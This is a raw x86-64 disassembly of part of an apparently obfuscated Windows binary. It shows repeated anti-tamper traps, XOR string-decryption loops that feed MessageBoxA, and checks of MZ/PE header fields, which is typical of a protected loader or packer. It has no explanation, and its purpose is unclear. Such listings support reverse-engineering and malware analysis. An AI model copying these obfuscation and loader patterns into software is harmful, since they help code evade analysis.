movabs rcx, 0xf652601fe2ce4f18
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034537
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034537
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034557
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140041664
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400c9610
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140034635
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034615
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034615
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034635
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400346df
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400346bf
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400346bf
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400346df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140041d60
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400347aa
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003478a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003478a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400347aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003485e
mov rax, qword gs:[0x24]
movabs rcx, 0xf652601fe2ce4f18
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003483e
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003483e
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003485e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14003488b
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x1400349ad
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r12, r11
and rcx, r13
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14003491c
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x1400348fe
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r12d, 0x4d3da464
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x23]
mov r15d, 0x748af5
cmp rax, r12
jne 0x140034a5d
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034a3d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034a3d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034a5d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
mov esi, 0x3d48e68f
cmp rax, r12
jne 0x140034b1c
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034afc
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034afc
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034b1c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140034bc6
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034ba6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034ba6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034bc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x140034fa5
cmp rax, r12
jne 0x140034c88
mov rax, qword gs:[0x24]
movabs rcx, 0xf652601fe2ce4f18
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034c68
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034c68
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034c88
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0x9b
mov r10, r14
mov ebx, 0xd7e3c968
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0xe56205fe8
movabs r9, 0x1cac40bfd0
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, r13b
shl cl, 3
mov edi, 0xd7e3c967
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140034ccd
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x140101ed0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x140101f80]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x140101f10]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xe5bf11d5
mov dword [rbp + 0xc8c], 0xfcdf44eb
mov dword [rbp + 0xc90], 0x7f0dd260
mov word [rbp + 0xc94], 0xf7
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x337146fdc8
movabs r11, 0x66e28dfb90
mov r12d, 0x4d3da464
movabs r15, 0x8080808080808081
mov cl, r9b
and cl, r13b
shl cl, 3
mov edi, 0xd7e3c967
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140034db7
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x23]
cmp rcx, r12
mov r15d, 0x748af5
jne 0x140034ef7
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034ed7
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034ed7
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034ef7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400408d1
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034f85
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034f85
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400408d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
cmp rax, r12
jne 0x140035046
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035026
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035026
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035046
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movsxd rdx, dword [rbx + 0x3c]
add rdx, rbx
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[0x23]
movabs rbx, 0xf652601fe2ce4f18
cmp rax, r12
jne 0x140035108
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400350e8
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400350e8
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035108
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x1400354de
cmp rax, r12
jne 0x1400351c1
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400351a1
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400351a1
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400351c1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0x9b
mov r10, r14
mov ebx, 0xd7e3c968
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0xe56205fe8
movabs r9, 0x1cac40bfd0
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, r13b
shl cl, 3
mov edi, 0xd7e3c967
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140035206
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x140101ed0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x140101fa0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x140101f10]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xe5bf11d5
mov dword [rbp + 0xccc], 0xfcdf44eb
mov dword [rbp + 0xcd0], 0x7f0dd260
mov word [rbp + 0xcd4], 0xf7
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x337146fdc8
movabs r11, 0x66e28dfb90
mov r12d, 0x4d3da464
movabs r15, 0x8080808080808081
mov cl, r9b
and cl, r13b
shl cl, 3
mov edi, 0xd7e3c967
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x1400352f0
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
cmp rax, r12
mov r15d, 0x748af5
jne 0x140035430
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035410
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035410
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035430
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400408d1
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400354be
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400354be
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400408d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
cmp rax, r12
jne 0x140035590
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035570
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035570
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035590
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x140101f20]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x48635bda
mov dword [rbp + 0x98c], 0xf1988c63
mov dword [rbp + 0x990], 0x1bf6b3da
mov word [rbp + 0x994], 0x2aea
mov byte [rbp + 0x996], al
mov r8, r14
mov esi, 0xd7e3c967
lea r10d, [rax + 0x1e]
movabs r9, 0x194cb19a30
mov r12d, 0xd7e3c968
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x3299633460
cmp r9, rax
jb 0x1400355fc
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x140101f60]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x140101e30]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs rbx, 0x34492ac730
mov r10d, Ordinal_33
movabs r9, 0x1a24956398
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x1400356b5
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.1400408dc
mov rax, qword gs:[0x23]
mov esi, 0x4d3da464
cmp rax, rsi
movabs rbx, 0xf652601fe2ce4f18
jne 0x14003582b
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003580b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003580b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003582b
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
mov edi, 0x3d48e68f
cmp rax, rsi
jne 0x1400358ea
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400358ca
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400358ca
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400358ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
xor ecx, ecx
call fcn.1400ab284
mov rcx, rax
call fcn.1400a6b64
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400359a3
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035983
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035983
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400359a3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035a4d
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035a2d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035a2d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035a4d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035af7
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035ad7
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035ad7
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035af7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035ba1
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035b81
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035b81
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035ba1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035c4b
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf40], rax
